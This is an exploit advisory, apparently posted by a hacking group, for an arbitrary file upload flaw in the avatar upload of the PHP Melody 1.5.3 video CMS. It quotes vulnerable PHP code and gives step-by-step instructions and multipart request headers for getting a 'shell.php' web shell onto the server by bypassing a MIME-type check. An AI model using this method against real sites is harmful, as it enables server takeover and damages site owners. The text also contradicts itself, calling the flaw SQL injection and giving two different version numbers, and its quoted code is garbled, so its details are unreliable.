PHP Melody 1.5.3 remote injection upload file

PHP Melody 1.5.3 remote injection upload file
---------------------------------------------------
######################################## ###########
[+] Author: Chip D3 Bi0s
[+] Email: chipdebios [alt + 64] gmail.com
[+] Group: LatinHackTeam
[+] Vulnerability: SQL injection
######################################## ###########

--------- Info Cms ----------------
Name: PHP Melody version 1.5.2
Email: support@phpsugar.com
Dowloand: http://www.phpsugar.com
Web: http://www.phpsugar.com
Price: $39 USD
---------------------------------

File: Upload_avatar.php

37. if (preg_match ("/. jpg/I", "$ filein "))
38 .{
39. $ format = image/jpeg;
40 .}
41. if (preg_match ("/. gif/I", "$ filein "))
42 .{
43. $ format = image/gif;
44 .}
45. if (preg_match ("/. png/I", "$ filein "))
46 .{
47. $ format = image/png;
48 .}
49. switch ($ format)
50 .{
51. case image/jpeg:
52. $ image = imagecreatefromjpeg ($ filein );
53. break;
54. case image/gif;
55. $ image = imagecreatefromgif ($ filein );
56. break;
57. case image/png:
58. $ image = imagecreatefrompng ($ filein );
59. break;
60 .}
------------
136. $ url = $ _ FILES [imagefile] [name]; // Set $ url To Equal The Filename For Later Use
137. if ($ _ FILES [imagefile] [type] = "image/png" | $ _ FILES [imagefile] [type] = "image/gif" | $ _ FILES [imagefile] [type] = "image/jpg" | $ _ FILES [imagefile] [type] = "image/jpeg" | $ _ FILES [imagefile] [type] = "image/pjpeg ") {
138. $ file_ext = strrchr ($ _ FILES [imagefile] [name],.); // Get The File Extention In The Format Of, For Instance ,. jpg ,. gif or. php

--------------------------------
Explanation:
 
According to the code it does is see if the http, it is
Image/jpeg; image/gif; image/png;
If not upload

How to exploit:
You must first register
Then upload the avatar you ever so upload_avatar.php
There will have to change the header

Header with a proper imagen.gif looks like

----------------------------- 191691572411478
Content-Disposition: form-data; name = "imagefile"; filename = "imagen.gif"
Content-Type: image/gif

The header when you upload a shell. php looks like

----------------------------- 191691572411478
Content-Disposition: form-data; name = "imagefile"; filename = "shell. php"
Content-Type: application/octet-stream

 
Then just change it and let q and so can upload *. php

----------------------------- 191691572411478
Content-Disposition: form-data; name = "imagefile"; filename = "shell. php"
Content-Type: application/octet-stream

Special greetings to my brother d4ng3r ;)
++
[!] Produced in South America
---------------------------------